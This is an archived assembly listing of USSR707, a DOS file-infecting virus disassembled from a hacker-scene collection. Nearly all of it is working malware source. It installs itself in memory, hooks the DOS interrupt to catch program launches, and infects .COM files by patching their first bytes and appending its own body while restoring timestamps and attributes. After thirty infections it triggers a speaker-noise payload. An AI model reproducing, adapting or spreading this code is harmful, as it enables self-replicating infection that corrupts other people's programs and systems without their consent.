home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / ASM-U.ZIP / USSR707.ASM < prev    next >
Assembly Source File  |  1992-10-11  |  8KB  |  409 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    USSR707                         ██
  7. ;██                                         ██
  8. ;██      Created:   9-Feb-92                             ██
  9. ;██      Passes:    5           Analysis Options on: AW                 ██
  10. ;██                                         ██
  11. ;██████████████████████████████████████████████████████████████████████████
  12.  
  13. data_1e        equ    20h
  14. data_2e        equ    22h
  15. data_3e        equ    4Ch
  16. data_4e        equ    4Eh
  17. data_5e        equ    84h
  18. data_6e        equ    86h
  19. data_7e        equ    413h
  20. data_8e        equ    1460h
  21. data_9e        equ    3
  22. data_10e    equ    2
  23.  
  24. seg_a        segment    byte public
  25.         assume    cs:seg_a, ds:seg_a
  26.  
  27.  
  28.         org    100h
  29.  
  30. ussr707        proc    far
  31.  
  32. start:
  33.         mov    ax,offset loc_2
  34.         push    ax
  35.         retn
  36. loc_2:
  37.         jmp    short loc_3
  38.         nop
  39.  
  40. ussr707        endp
  41.  
  42. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  43. ;                   SUBROUTINE
  44. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  45.  
  46. sub_2        proc    near
  47.         call    sub_3
  48.  
  49. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  50.  
  51. sub_3:
  52.         pop    di
  53.         sub    di,6
  54.         retn
  55. sub_2        endp
  56.  
  57.         db     60h, 14h, 2Bh, 02h, 2Eh, 3Ah
  58.         db     26h,0FFh, 0Dh, 00h,0A0h, 00h
  59.         db     50h,0C3h, 01h, 2Eh,0A3h,0C0h
  60.         db     00h, 9Ch, 00h, 00h, 90h, 90h
  61.         db     90h,0CDh
  62.         db    20h
  63. loc_3:
  64.         call    sub_2
  65.         mov    ah,[di+21h]
  66.         mov    byte ptr ds:[100h],ah
  67.         mov    ax,[di+22h]
  68.         mov    word ptr ds:[101h],ax
  69.         mov    ax,[di+24h]
  70.         mov    word ptr ds:[103h],ax
  71.         mov    ah,30h            ; '0'
  72.         int    21h            ; DOS Services  ah=function 30h
  73.                         ;  get DOS version number ax
  74.         cmp    ax,1E03h
  75.         je    loc_4            ; Jump if equal
  76.         jmp    loc_9
  77. loc_4:
  78.         mov    bl,0
  79.         mov    ax,4BFFh
  80.         int    21h            ; ??INT Non-standard interrupt
  81.         cmp    bl,0FFh
  82.         jne    loc_5            ; Jump if not equal
  83.         jmp    loc_9
  84. loc_5:
  85.         mov    ax,ds:data_10e
  86.         mov    [di+14h],ax
  87.         mov    bx,di
  88.         add    bx,0Fh
  89.         xor    ax,ax            ; Zero register
  90.         mov    es,ax
  91. loc_6:
  92.         xor    si,si            ; Zero register
  93.         mov    ax,es
  94.         inc    ax
  95.         cmp    ax,0FFFh
  96.         jbe    loc_7            ; Jump if below or =
  97.         jmp    short loc_9
  98.         nop
  99. loc_7:
  100.         mov    es,ax
  101. loc_8:
  102.         mov    ah,es:data_8e[si]
  103.         cmp    ah,[bx+si]
  104.         jne    loc_6            ; Jump if not equal
  105.         inc    si
  106.         cmp    si,5
  107.         jne    loc_8            ; Jump if not equal
  108.         mov    [di+0Dh],es
  109.         mov    word ptr [di+1Fh],0
  110.         mov    ax,cs
  111.         dec    ax
  112.         mov    es,ax
  113.         call    sub_7
  114.         sub    si,di
  115.         mov    ax,si
  116.         mov    cl,4
  117.         shr    ax,cl            ; Shift w/zeros fill
  118.         inc    ax
  119.         sub    es:data_9e,ax
  120.         sub    ds:data_10e,ax
  121.         mov    bx,[di+14h]
  122.         sub    bx,ax
  123.         mov    es,bx
  124.         push    di
  125.         call    sub_4
  126.         xor    cx,cx            ; Zero register
  127.         mov    ds,cx
  128.         mov    cl,6
  129.         shr    ax,cl            ; Shift w/zeros fill
  130.         inc    ax
  131.         sub    ds:data_7e,ax
  132.         mov    ax,ds:data_5e
  133.         mov    cs:[bx+0Bh],ax
  134.         mov    ax,ds:data_6e
  135.         mov    cs:[bx+0Dh],ax
  136.         push    cs
  137.         pop    ds
  138.         mov    cx,si
  139.         mov    si,di
  140.         xor    di,di            ; Zero register
  141.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  142.         pop    di
  143.         sub    bx,di
  144.         add    bx,2
  145.         xor    ax,ax            ; Zero register
  146.         mov    ds,ax
  147.         cli                ; Disable interrupts
  148.         mov    ds:data_5e,bx
  149.         mov    ds:data_6e,es
  150.         sti                ; Enable interrupts
  151. loc_9:
  152.         push    cs
  153.         pop    ds
  154.         push    cs
  155.         pop    es
  156.         mov    ax,offset start
  157.         push    ax
  158.         retn
  159.  
  160. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  161. ;                   SUBROUTINE
  162. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  163.  
  164. sub_4        proc    near
  165.         call    sub_5
  166.  
  167. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  168.  
  169. sub_5:
  170.         pop    bx
  171.         retn
  172. sub_4        endp
  173.  
  174.         push    bx
  175.         mov    bh,4Bh            ; 'K'
  176.         cmp    bh,ah
  177.         je    loc_11            ; Jump if equal
  178.         pop    bx
  179. loc_10:
  180. ;*        jmp    far ptr loc_1
  181.         db    0EAh, 93h, 17h, 26h, 0Dh
  182. loc_11:
  183.         cmp    al,0FFh
  184.         jne    loc_12            ; Jump if not equal
  185.         pop    bx
  186.         mov    bl,0FFh
  187.         iret                ; Interrupt return
  188.         pushf                ; Push flags
  189. ;*        call    far ptr sub_1
  190.         db     9Ah, 00h, 00h, 00h, 00h
  191.         push    ax
  192.         in    al,61h            ; port 61h, 8255 port B, read
  193.         xor    al,3
  194.         out    61h,al            ; port 61h, 8255 B - spkr, etc
  195.         mov    al,0B6h
  196.         out    43h,al            ; port 43h, 8253 wrt timr mode
  197.         mov    ax,bx
  198.         out    42h,al            ; port 42h, 8253 timer 2 spkr
  199.         mov    al,ah
  200.         out    42h,al            ; port 42h, 8253 timer 2 spkr
  201.         pop    ax
  202.         iret                ; Interrupt return
  203. loc_12:
  204.         push    ax
  205.         push    cx
  206.         push    dx
  207.         push    di
  208.         push    ds
  209.         push    es
  210.         mov    bx,dx
  211.         xor    di,di            ; Zero register
  212. loc_13:
  213.         inc    di
  214.         cmp    byte ptr [bx+di],0
  215.         jne    loc_13            ; Jump if not equal
  216.         cmp    word ptr [bx+di-2],4D4Fh
  217.         je    loc_14            ; Jump if equal
  218.         jmp    loc_26
  219. loc_14:
  220.         cmp    byte ptr [bx+di-3],43h    ; 'C'
  221.         je    loc_15            ; Jump if equal
  222.         jmp    loc_26
  223. loc_15:
  224.         call    sub_2
  225.         mov    bx,di
  226.         add    bx,1Ah
  227.         mov    ax,70h
  228.         mov    es,ax
  229.         xor    di,di            ; Zero register
  230. loc_16:
  231.         inc    di
  232.         cmp    di,0FFFFh
  233.         jbe    loc_17            ; Jump if below or =
  234.         jmp    loc_26
  235. loc_17:
  236.         xor    si,si            ; Zero register
  237. loc_18:
  238.         mov    ah,es:[di]
  239.         cmp    ah,cs:[bx+si]
  240.         jne    loc_16            ; Jump if not equal
  241.         inc    si
  242.         inc    di
  243.         cmp    si,5
  244.         jne    loc_18            ; Jump if not equal
  245.         sub    di,5
  246.         xor    ax,ax            ; Zero register
  247.         mov    es,ax
  248.         push    word ptr es:data_3e
  249.         push    word ptr es:data_4e
  250.         cli                ; Disable interrupts
  251.         mov    es:data_3e,di
  252.         mov    word ptr es:data_4e,70h
  253.         sti                ; Enable interrupts
  254.         call    sub_2
  255.         mov    bx,dx
  256.         xor    cx,cx            ; Zero register
  257.         mov    ah,4Eh            ; 'N'
  258.         call    sub_6
  259.         jnc    loc_19            ; Jump if carry=0
  260.         jmp    loc_25
  261. loc_19:
  262.         mov    ah,2Fh            ; '/'
  263.         call    sub_6
  264.         mov    ax,es:[bx+1Ah]
  265.         cmp    ax,0F000h
  266.         jbe    loc_20            ; Jump if below or =
  267.         jmp    loc_25
  268. loc_20:
  269.         push    ds
  270.         push    dx
  271.         push    word ptr es:[bx+15h]
  272.         push    word ptr es:[bx+16h]
  273.         push    word ptr es:[bx+18h]
  274.         add    ax,100h
  275.         mov    cs:[di+18h],ax
  276.         mov    ax,4301h
  277.         mov    cx,20h
  278.         call    sub_6
  279.         mov    ax,3D02h
  280.         call    sub_6
  281.         jnc    loc_21            ; Jump if carry=0
  282.         jmp    short loc_24
  283.         nop
  284. loc_21:
  285.         push    cs
  286.         pop    ds
  287.         mov    bx,ax
  288.         mov    ah,3Fh            ; '?'
  289.         mov    cx,5
  290.         mov    dx,di
  291.         add    dx,21h
  292.         call    sub_6
  293.         mov    ax,[di+18h]
  294.         sub    ax,[di+22h]
  295.         cmp    ax,2C3h
  296.         jne    loc_23            ; Jump if not equal
  297.         cmp    byte ptr [di+20h],1Eh
  298.         jae    loc_22            ; Jump if above or =
  299.         inc    byte ptr [di+20h]
  300. loc_22:
  301.         jmp    short loc_24
  302.         nop
  303. loc_23:
  304.         mov    byte ptr [di+17h],0B8h
  305.         mov    ax,4200h
  306.         xor    cx,cx            ; Zero register
  307.         xor    dx,dx            ; Zero register
  308.         call    sub_6
  309.         mov    ah,40h            ; '@'
  310.         mov    cx,3
  311.         mov    dx,di
  312.         add    dx,17h
  313.         call    sub_6
  314.         mov    ah,40h            ; '@'
  315.         mov    cx,2
  316.         mov    word ptr [di+17h],0C350h
  317.         call    sub_6
  318.         mov    ax,4202h
  319.         xor    cx,cx            ; Zero register
  320.         xor    dx,dx            ; Zero register
  321.         call    sub_6
  322.         mov    ah,40h            ; '@'
  323.         call    sub_7
  324.         mov    cx,si
  325.         sub    cx,di
  326.         mov    dx,di
  327.         call    sub_6
  328. loc_24:
  329.         mov    ax,5701h
  330.         pop    dx
  331.         pop    cx
  332.         call    sub_6
  333.         mov    ax,4301h
  334.         pop    cx
  335.         mov    ch,0
  336.         pop    dx
  337.         pop    ds
  338.         call    sub_6
  339.         mov    ah,3Eh            ; '>'
  340.         call    sub_6
  341. loc_25:
  342.         xor    ax,ax            ; Zero register
  343.         mov    es,ax
  344.         cli                ; Disable interrupts
  345.         pop    word ptr es:data_4e
  346.         pop    word ptr es:data_3e
  347.         sti                ; Enable interrupts
  348. loc_26:
  349.         call    sub_2
  350.         cmp    byte ptr cs:[di+1Fh],0
  351.         jne    loc_27            ; Jump if not equal
  352.         cmp    byte ptr cs:[di+20h],1Eh
  353.         jb    loc_27            ; Jump if below
  354.         mov    byte ptr cs:[di+1Fh],1
  355.         xor    ax,ax            ; Zero register
  356.         mov    es,ax
  357.         call    sub_4
  358.         add    bx,17h
  359.         mov    ax,es:data_1e
  360.         mov    cx,es:data_2e
  361.         mov    cs:[bx+2],ax
  362.         mov    cs:[bx+4],cx
  363.         cli                ; Disable interrupts
  364.         mov    es:data_1e,bx
  365.         mov    es:data_2e,cs
  366.         sti                ; Enable interrupts
  367. loc_27:
  368.         pop    es
  369.         pop    ds
  370.         pop    di
  371.         pop    dx
  372.         pop    cx
  373.         pop    ax
  374.         pop    bx
  375.         jmp    loc_10
  376.  
  377. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  378. ;                   SUBROUTINE
  379. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  380.  
  381. sub_6        proc    near
  382.         pushf                ; Push flags
  383.         call    dword ptr cs:[di+0Bh]
  384.         retn
  385. sub_6        endp
  386.  
  387.  
  388. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  389. ;                   SUBROUTINE
  390. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  391.  
  392. sub_7        proc    near
  393.         call    sub_8
  394.  
  395. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  396.  
  397. sub_8:
  398.         pop    si
  399.         add    si,5
  400.         retn
  401. sub_7        endp
  402.  
  403.  
  404. seg_a        ends
  405.  
  406.  
  407.  
  408.         end    start
  409.